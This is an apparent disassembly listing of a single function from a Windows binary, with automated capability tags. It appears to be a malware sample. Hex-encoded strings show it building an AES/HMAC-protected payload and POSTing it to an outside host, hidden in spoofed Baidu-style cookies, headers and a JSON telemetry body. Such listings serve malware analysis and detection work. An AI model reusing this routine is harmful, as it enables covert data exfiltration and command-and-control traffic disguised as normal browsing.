Function at 0x140004970
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt
Send data
Send http request

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov edi, edx
mov rsi, rcx
mov edx, 1
mov r14d, r8d
lea eax, [rdi + 0xc]
mov ecx, eax
mov dword [rbp - 0x51], eax
call fcn.140009d98
mov rbx, rax
test rax, rax
je 0x1400056a8
mov ecx, dword [0x14002bc9c]
inc ecx
mov qword [rsp + 0x128], r12
mov dword [0x14002bc9c], ecx
call qword [sym.imp.WS2_32.dll_htonl]
lea ecx, [rdi + 4]
mov dword [rbx], eax
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, r14d
mov dword [rbx + 4], eax
call qword [sym.imp.WS2_32.dll_htonl]
mov r8d, edi
lea rcx, [rbx + 0xc]
mov rdx, rsi
mov dword [rbx + 8], eax
call fcn.1400098c0
lea r8, [rbp - 0x51]
mov rdx, rbx
lea rcx, [0x14002bc38]
call fcn.1400019c0
mov ebx, dword [rbp - 0x51]
mov edx, 1
mov rsi, rax
mov dword [rbp - 0x41], 0x20
lea ecx, [rdx + 0x1f]
call fcn.140009d98
movups xmm0, xmmword [0x14002bc48]
xor r12d, r12d
mov dword [rbp - 1], 0x208
mov rdi, rax
mov qword [rbp - 0x69], r12
xor eax, eax
mov qword [rbp - 0x59], r12
mov qword [rbp - 0x29], rax
lea r8, str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
lea r9d, [r12 + 1]
mov qword [rbp - 0x49], r12
xor edx, edx
mov qword [rbp - 0x21], rax
lea rcx, [rbp - 0x69]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rax
mov dword [rbp - 0x29], 0x800c
mov dword [rbp + 3], 0x6602
mov dword [rbp + 7], 0x10
movups xmmword [rbp + 0xb], xmm0
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140004b50
mov rcx, qword [rbp - 0x69]
lea rax, [rbp - 0x59]
mov qword [rsp + 0x28], rax
lea r8d, [r12 + 0x1c]
xor r9d, r9d
mov dword [rsp + 0x20], 0x100
lea rdx, [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140004b44
mov r8, qword [rbp - 0x59]
lea rax, [rbp - 0x49]
mov rcx, qword [rbp - 0x69]
xor r9d, r9d
mov edx, 0x8009
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140004b44
mov rcx, qword [rbp - 0x49]
lea r8, [rbp - 0x29]
xor r9d, r9d
lea edx, [r12 + 5]
call qword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
test eax, eax
je 0x140004b3a
mov rcx, qword [rbp - 0x49]
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140004b3a
mov rcx, qword [rbp - 0x49]
lea r9, [rbp - 0x41]
mov r8, rdi
mov dword [rsp + 0x20], r12d
lea edx, [r12 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x69]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [rbp - 0x51]
lea ebx, [rcx + 0x14]
add ecx, 0x10
mov dword [rbp - 0x61], ebx
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, ebx
mov edx, 1
mov r14d, eax
call fcn.140009d98
mov rbx, rax
test rax, rax
je 0x1400056a0
mov dword [rax], r14d
lea rcx, [rax + 4]
mov r8d, dword [rbp - 0x51]
mov rdx, rsi
call fcn.1400098c0
mov ecx, dword [rbp - 0x51]
movups xmm0, xmmword [rdi]
movups xmmword [rcx + rbx + 4], xmm0
mov rcx, rsi
call fcn.14000a2c4
mov rcx, rdi
call fcn.14000a2c4
mov ecx, 0x78
call fcn.14000c564
mov rdi, rax
test rax, rax
je 0x1400056c2
lea rcx, str.2f636f6e74656e747365617263682e786d6c
call fcn.140001bb0
lea rcx, [0x14002bc5a]
mov qword [rdi], rax
call fcn.140001bb0
lea rcx, str.486f73743a207365617263682e6b6172657373652e636f6d2e636e0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3130322e302e302e30205361666172692f3533372e333630300d0a582d436c69656e742d56657273696f6e3a2032303231303830330d0a4163636570743a206170706c69636174696f6e2f6a736f6e2c20746578742f706c61696e2c202a2f2a0d0a5365632d46657463682d536974653a2073616d652d6f726967696e0d0a526566657265723a2068747470733a2f2f6262732e62616964752e636f6d2f0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a
mov qword [rdi + 8], rax
call fcn.140001bb0
lea rcx, str.3332
mov qword [rdi + 0x10], rax
call fcn.140001bb0
lea rcx, str.4244534652435649445f42464553533d6e522d4f4a65787237546d752d45473074564a304d353b5f5f6261695f647569643d464e3d303a
mov qword [rdi + 0x18], rax
call fcn.140001bb0
lea rcx, str.3a46473d313b50535349443d3166383361326638303738363b485f4244434c434b49445f53465f42464553533d74526b44716e654d44356f4c33443b
mov qword [rdi + 0x20], rax
call fcn.140001bb0
lea rcx, str.436f6f6b69653a2025730d0a
mov qword [rdi + 0x28], rax
call fcn.140001bb0
lea rcx, [0x14002bc58]
mov qword [rdi + 0x30], rax
call fcn.140001bb0
lea rcx, [0x140028744]
mov qword [rdi + 0x38], rax
mov dword [rdi + 0x40], 1
call fcn.140001bb0
lea rcx, str.7b226576656e745f74797065223a226c6f6164222c2270616765223a30312c22757365725f66726f6d223a22776562222c226576656e745f6e616d65223a22766973697465642d686f6d65222c226c6f675f696e666f223a22
mov qword [rdi + 0x48], rax
call fcn.140001bb0
lea rcx, str.222c22636f6465223a22313136303832333838227d
mov qword [rdi + 0x50], rax
call fcn.140001bb0
lea rcx, [0x14002bc59]
mov qword [rdi + 0x58], rax
call fcn.140001bb0
lea rcx, [0x14002bc5c]
mov qword [rdi + 0x60], rax
call fcn.140001bb0
mov qword [rdi + 0x68], rax
lea r8, [rbp - 0x61]
mov dword [rdi + 0x70], 3
mov rdx, rbx
mov rcx, qword [rdi + 0x48]
call fcn.1400010e0
mov rsi, rax
test rax, rax
je 0x1400056a0
mov ebx, dword [rbp - 0x61]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rdi + 0x50]
nop dword [rax + rax]
cmp byte [rcx + rdx + 1], r12b
lea rdx, [rdx + 1]
jne 0x140004cd0
mov rax, qword [rdi + 0x58]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004ce6
lea rax, [rbx + rdx]
inc rcx
add rax, rcx
mov edx, 1
mov rcx, rax
mov qword [rbp - 0x59], rax
call fcn.140009d98
mov rdx, qword [rdi + 0x50]
mov r14, rax
mov qword [rbp - 0x39], rax
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004d20
mov rcx, r14
call fcn.1400098c0
mov rax, qword [rdi + 0x50]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004d40
add rcx, r14
mov r8, rbx
mov rdx, rsi
call fcn.1400098c0
mov rdx, qword [rdi + 0x58]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004d62
mov rax, qword [rdi + 0x50]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004d76
add rcx, rbx
add rcx, r14
call fcn.1400098c0
mov rcx, rsi
call fcn.14000a2c4
mov edx, 1
lea ecx, [rdx + 0x7f]
call fcn.140009d98
mov rbx, rax
test rax, rax
je 0x1400056a0
mov ecx, dword [0x14002bc34]
lea r9, [0x1400222e8]
mov dword [rsp + 0x20], ecx
mov edx, 0x80
mov rcx, rax
mov r8, 0xffffffffffffffff
call fcn.1400020d0
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], r12b
jne 0x140004dd7
mov dword [rbp - 0x61], ecx
lea r8, [rbp - 0x61]
mov rcx, qword [rdi + 0x18]
mov rdx, rbx
call fcn.1400010e0
mov rsi, rax
test rax, rax
je 0x1400056a0
mov ebx, dword [rbp - 0x61]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0xd0], r15
cmp byte [rcx + rdx + 1], r12b
lea rdx, [rdx + 1]
jne 0x140004e15
mov rax, qword [rdi + 0x28]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004e30
lea r15, [rbx + rdx]
inc rcx
add r15, rcx
mov edx, 1
mov rcx, r15
call fcn.140009d98
mov rdx, qword [rdi + 0x20]
mov r14, rax
mov qword [rbp - 0x69], rax
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004e62
mov rcx, r14
call fcn.1400098c0
mov rax, qword [rdi + 0x20]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004e80
add rcx, r14
mov r8, rbx
mov rdx, rsi
call fcn.1400098c0
mov rdx, qword [rdi + 0x28]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004ea2
mov rax, qword [rdi + 0x20]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004eb6
add rcx, rbx
add rcx, r14
call fcn.1400098c0
mov rcx, rsi
call fcn.14000a2c4
mov rax, qword [rdi]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140004ee0
inc rbx
mov edx, 1
mov rcx, rbx
call fcn.140009d98
mov r14, rax
test rax, rax
je 0x140005698
mov rdx, qword [rdi]
mov r8, rbx
mov rcx, rax
mov qword [rsp + 0xd8], r13
call fcn.1400098c0
mov rax, qword [rdi + 0x10]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], r12b
jne 0x140004f26
inc rsi
mov edx, 1
mov rcx, rsi
call fcn.140009d98
mov r13, rax
test rax, rax
je 0x140005690
mov rdx, qword [rdi + 0x10]
mov r8, rsi
mov rcx, rax
call fcn.1400098c0
mov edx, dword [rdi + 0x40]
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x61], r12
mov qword [rbp - 0x49], r12
sub edx, 1
je 0x140005190
sub edx, 1
je 0x1400050d2
sub edx, 1
je 0x14000509f
cmp edx, 1
jne 0x140004fd7
add rbx, r15
mov edx, 1
mov rcx, rbx
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140005690
mov rcx, qword [rbp - 0x69]
lea r9, [0x1400222e0]
mov qword [rsp + 0x28], rcx
mov r8, 0xffffffffffffffff
mov rcx, rax
mov qword [rsp + 0x20], r14
mov rdx, rbx
call fcn.1400020d0
mov rcx, r14
call fcn.14000a2c4
mov r14, r15
mov r15, r12
mov ecx, dword [rdi + 0x70]
sub ecx, 1
je 0x140005332
sub ecx, 1
je 0x140005283
sub ecx, 1
je 0x14000524e
cmp ecx, 1
jne 0x1400053dd
add rbx, qword [rbp - 0x59]
mov edx, ecx
mov rcx, rbx
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x140005690
mov rax, qword [rbp - 0x39]
lea r9, [0x1400222e0]
mov qword [rsp + 0x28], rax
mov r8, 0xffffffffffffffff
mov rdx, rbx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call fcn.1400020d0
mov rcx, r14
call fcn.14000a2c4
test r15, r15
je 0x140005246
add rbx, r12
mov edx, 1
mov rcx, rbx
call fcn.140009d98
mov r14, rax
test rax, rax
je 0x140005690
mov qword [rsp + 0x28], r15
lea r9, [0x1400222e0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400020d0
mov rcx, rsi
call fcn.14000a2c4
jmp 0x1400053dd
lea rcx, [r15 + 1]
mov edx, 1
call fcn.140009d98
mov qword [rbp - 0x41], rax
test rax, rax
je 0x140005690
mov rdx, qword [rbp - 0x69]
mov r8, r15
mov rcx, rax
call fcn.1400098c0
mov qword [rbp - 0x61], r15
jmp 0x140004fd7
mov rcx, qword [rdi + 0x38]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], r12b
jne 0x1400050e0
lea r12, [r15 - 1]
mov edx, 1
add r12, rax
mov rcx, r12
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140005690
mov rcx, qword [rbp - 0x69]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x38]
mov rdx, r12
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400020d0
cmp dword [rdi + 0x70], 4
je 0x140004fda
add rbx, r12
mov edx, 1
mov rcx, rbx
call fcn.140009d98
mov r12, rax
test rax, rax
je 0x140005690
mov qword [rsp + 0x28], r15
lea r9, [0x1400222e0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r14
mov rdx, rbx
mov rcx, rax
call fcn.1400020d0
mov rcx, r14
call fcn.14000a2c4
mov rcx, r15
call fcn.14000a2c4
mov r15, qword [rbp - 0x49]
mov r14, r12
mov r12, r15
jmp 0x140004fda
mov rcx, qword [rdi + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], r12b
jne 0x1400051a0
lea r12, [r15 - 1]
mov edx, 1
add r12, rax
mov rcx, r12
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140005690
mov rcx, qword [rbp - 0x69]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x30]
mov rdx, r12
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400020d0
add rsi, r12
mov edx, 1
mov rcx, rsi
call fcn.140009d98
mov r12, rax
test rax, rax
je 0x140005690
mov qword [rsp + 0x28], r15
lea r9, [0x1400222e0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r13
mov rdx, rsi
mov rcx, rax
call fcn.1400020d0
mov rcx, r13
call fcn.14000a2c4
mov rcx, r15
call fcn.14000a2c4
mov r15, qword [rbp - 0x49]
mov r13, r12
mov r12, r15
jmp 0x140004fda
mov r14, rsi
jmp 0x1400053dd
mov rsi, qword [rbp - 0x59]
mov edx, 1
lea rcx, [rsi + 1]
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140005690
mov rdx, qword [rbp - 0x39]
mov r8, rsi
mov rcx, rax
call fcn.1400098c0
mov r12, rsi
jmp 0x1400053e5
mov rcx, qword [rdi + 0x68]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140005290
mov r15, qword [rbp - 0x59]
mov edx, 1
dec r15
add r15, rax
mov rcx, r15
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x140005690
mov rax, qword [rbp - 0x39]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x68]
mov rdx, r15
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.1400020d0
add rbx, r15
mov edx, 1
mov rcx, rbx
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140005690
mov qword [rsp + 0x28], rsi
lea r9, [0x1400222e0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r14
mov rdx, rbx
mov rcx, rax
call fcn.1400020d0
mov rcx, r14
call fcn.14000a2c4
mov rcx, rsi
call fcn.14000a2c4
mov r14, r15
jmp 0x1400053dd
mov rcx, qword [rdi + 0x60]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140005340
mov r12, qword [rbp - 0x59]
mov edx, 1
dec r12
add r12, rax
mov rcx, r12
call fcn.140009d98
mov r15, rax
test rax, rax
je 0x140005690
mov rax, qword [rbp - 0x39]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x60]
mov rdx, r12
mov rcx, r15
mov qword [rsp + 0x20], rax
call fcn.1400020d0
add r12, rsi
mov edx, 1
mov rcx, r12
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x140005690
mov qword [rsp + 0x28], r15
lea r9, [0x1400222e0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r13
mov rdx, r12
mov rcx, rax
call fcn.1400020d0
mov rcx, r13
call fcn.14000a2c4
mov rcx, r15
call fcn.14000a2c4
mov r13, rsi
mov r15, qword [rbp - 0x41]
mov r12, qword [rbp - 0x61]
mov rax, qword [rdi + 8]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400053f0
add rsi, rbx
mov edx, 1
mov rcx, rsi
call fcn.140009d98
mov rbx, rax
test rax, rax
je 0x140005690
mov r8, qword [rdi + 8]
lea r9, [0x1400222e0]
mov qword [rsp + 0x28], r8
mov rdx, rsi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r14
mov rcx, rax
call fcn.1400020d0
mov rcx, r14
call fcn.14000a2c4
mov ecx, 0x20
call fcn.14000c564
mov rsi, rax
test rax, rax
je 0x140005690
lea rcx, [r12 - 1]
mov qword [rax], rbx
mov qword [rax + 0x18], rcx
mov rcx, qword [rbp - 0x39]
mov qword [rax + 8], r13
mov qword [rax + 0x10], r15
call fcn.14000a2c4
mov rcx, qword [rbp - 0x69]
call fcn.14000a2c4
mov rcx, qword [rdi]
call fcn.14000a2c4
mov rcx, qword [rdi + 8]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x10]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x18]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x20]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x28]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x30]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x38]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x48]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x50]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x58]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x60]
call fcn.14000a2c4
mov rcx, qword [rdi + 0x68]
call fcn.14000a2c4
mov rcx, rdi
call fcn.14000a2c4
xor r12d, r12d
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x59], r12
mov qword [rbp - 0x69], r12
call fcn.140003a50
test eax, eax
je 0x14000566e
lea edx, [r12 + 1]
lea ecx, [rdx + 9]
call fcn.140009d98
mov rdi, rax
test rax, rax
je 0x14000565a
xor ecx, ecx
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
mov ebx, eax
and ebx, 0x80000003
jge 0x14000555a
dec ebx
or ebx, 0xfffffffc
inc ebx
add ebx, 5
mov rcx, rdi
mov edx, ebx
call section..text
mov rcx, qword [rsi]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r12b
jne 0x140005571
add eax, 0xf
mov edx, 1
add eax, ebx
mov ecx, eax
mov r15d, eax
call fcn.140009d98
mov r14, rax
test rax, rax
je 0x14000565a
lea ecx, [rbx + 1]
mov r8, 0xffffffffffffffff
mov dword [rsp + 0x30], ecx
lea r9, str.__s_s._d
mov rcx, qword [rsi]
mov edx, r15d
mov qword [rsp + 0x28], rcx
mov rcx, rax
mov qword [rsp + 0x20], rdi
call fcn.1400020d0
mov rcx, rdi
call fcn.14000a2c4
mov eax, dword [0x14002bc98]
lea rdx, str.POST
mov rdi, qword [rbp - 0x69]
xor r9d, r9d
mov qword [rsp + 0x38], r12
mov r8, r14
mov dword [rsp + 0x30], eax
mov rcx, rdi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, r14
mov rbx, rax
call fcn.14000a2c4
test rbx, rbx
je 0x140005655
mov rcx, rbx
call fcn.1400056d0
mov rdx, qword [rsi + 8]
mov r9d, 0xa0000000
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov eax, dword [rsi + 0x18]
xor r8d, r8d
mov r9, qword [rsi + 0x10]
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
jmp 0x14000565e
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsi]
call fcn.14000a2c4
mov rcx, qword [rsi + 8]
call fcn.14000a2c4
mov rcx, qword [rsi + 0x10]
call fcn.14000a2c4
mov rcx, rsi
call fcn.14000a2c4
mov r13, qword [rsp + 0xd8]
mov r15, qword [rsp + 0xd0]
mov r12, qword [rsp + 0x128]
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140008040
add rsp, 0xe0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, rbx
call fcn.14000a2c4
jmp 0x1400056a0